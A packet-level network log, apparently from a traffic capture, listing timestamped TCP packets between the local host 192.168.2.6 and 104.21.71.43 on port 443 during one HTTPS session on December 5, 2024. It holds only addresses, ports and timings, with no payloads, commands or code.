Dec 5, 2024 15:04:50.386238098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.391825914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.391840935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.391901016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.391907930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.391940117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.397610903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.397627115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.397686005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.397692919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.397732973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.403054953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.403069973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.403139114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.403145075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.403181076 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.408843994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.408858061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.408922911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.408926964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.408961058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.413964033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.413979053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.414036036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.414041996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.414083004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.574215889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.574259043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.574364901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.574373007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.574418068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.579674006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.579695940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.579746962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.579751968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.579776049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.579792023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.585316896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.585331917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.585403919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.585410118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.585447073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.591114998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.591130972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.591200113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.591206074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.591252089 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.596144915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.596159935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.596223116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.596229076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.596280098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.602024078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.602042913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.602130890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.602138042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.602175951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.607407093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.607423067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.607492924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.607498884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.607539892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.613140106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.613154888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.613230944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.613238096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.613271952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.766283989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.766302109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.766376019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.766385078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.766424894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.772289038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.772314072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.772356033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.772361994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.772396088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.772406101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.777501106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.777518988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.777575970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.777582884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.777626038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.783277988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.783293962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.783337116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.783344030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.783385038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.788388014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.788435936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.788835049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.788841009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.788875103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.794080973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.794096947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.794152021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.794159889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.794195890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.799504042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.799519062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.799562931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.799568892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.799597025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.799609900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.805316925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.805334091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.805387020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.805393934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.805430889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.958502054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.958522081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.958602905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.958621025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.958664894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.960963011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.961026907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.966769934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.966784954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.966882944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.966892004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.971874952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.971900940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.971946001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.971952915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.971966028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.977560043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.977576017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.977637053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.977648020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.983436108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.983460903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.983494997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.983503103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.983515978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.988539934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.988554955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.988610029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.988617897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.994270086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.994292974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.994338989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.994349003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.994358063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.999994993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.000025034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.000049114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.000058889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.000072002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.051855087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.153353930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.153371096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.153395891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.153415918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.153455973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.153465986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.153498888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.153513908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.158312082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.158329010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.158413887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.158421993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.158462048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.164246082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.164262056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.164324999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.164334059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.164371967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.169899940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.169914961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.169972897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.169981956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.170022011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.175683975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.175698042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.175755978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.175764084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.175810099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.180788040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.180803061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.180891991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.180900097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.180969000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.186508894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.186523914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.186584949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.186590910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.186629057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.192287922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.192303896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.192363977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.192372084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.192410946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.345539093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.345562935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.345674992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.345685005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.345731020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.350610018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.350625992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.350792885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.350800991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.350847006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.356445074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.356462002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.356523037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.356534004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.356575012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.362108946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.362124920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.362180948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.362189054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.362230062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.367974043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.367990971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.368046999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.368056059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.368092060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.373083115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.373100042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.373169899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.373176098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.373219967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.378838062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.378855944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.378928900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.378936052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.378977060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.384506941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.384521961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.384627104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.384634018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.384681940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.538897038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.538917065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.539038897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.539051056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.539098978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.544598103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.544614077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.544677019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.544684887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.544727087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.549853086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.549870014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.549927950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.549935102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.549977064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.555449009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.555464983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.555524111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.555532932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.555571079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.561208963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.561224937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.561316013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.561325073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.561372042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.566252947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.566273928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.566344976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.566361904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.566426992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.572156906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.572173119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.572253942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.572262049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.572303057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.577864885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.577882051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.577956915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.577963114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.578001022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.730987072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.731018066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.731070995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.731086969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.731134892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.737392902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.737407923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.737468004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.737478018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.737514973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.741760969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.741777897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.741842031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.741847992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.741889000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.747606039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.747622967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.747673035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.747678995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.747706890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.747735023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.753317118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.753334045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.753395081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.753401041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.753441095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.758553028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.758574009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.758616924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.758624077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.758666992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.764527082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.764544964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.764589071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.764595032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.764627934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.764658928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.769984007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.770018101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.770045996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.770066023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.770081043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.770107985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.947945118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.947963953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.948059082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.948070049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.948117971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.953845978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.953862906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.953943014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.953950882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.953990936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.959424019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.959440947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.959542990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.959554911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.959593058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.965246916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.965265036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.965363979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.965372086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.965423107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.981070995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.981118917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.981189013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:51.981195927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:51.981256008 CET	49906	443	192.168.2.6	104.21.71.43
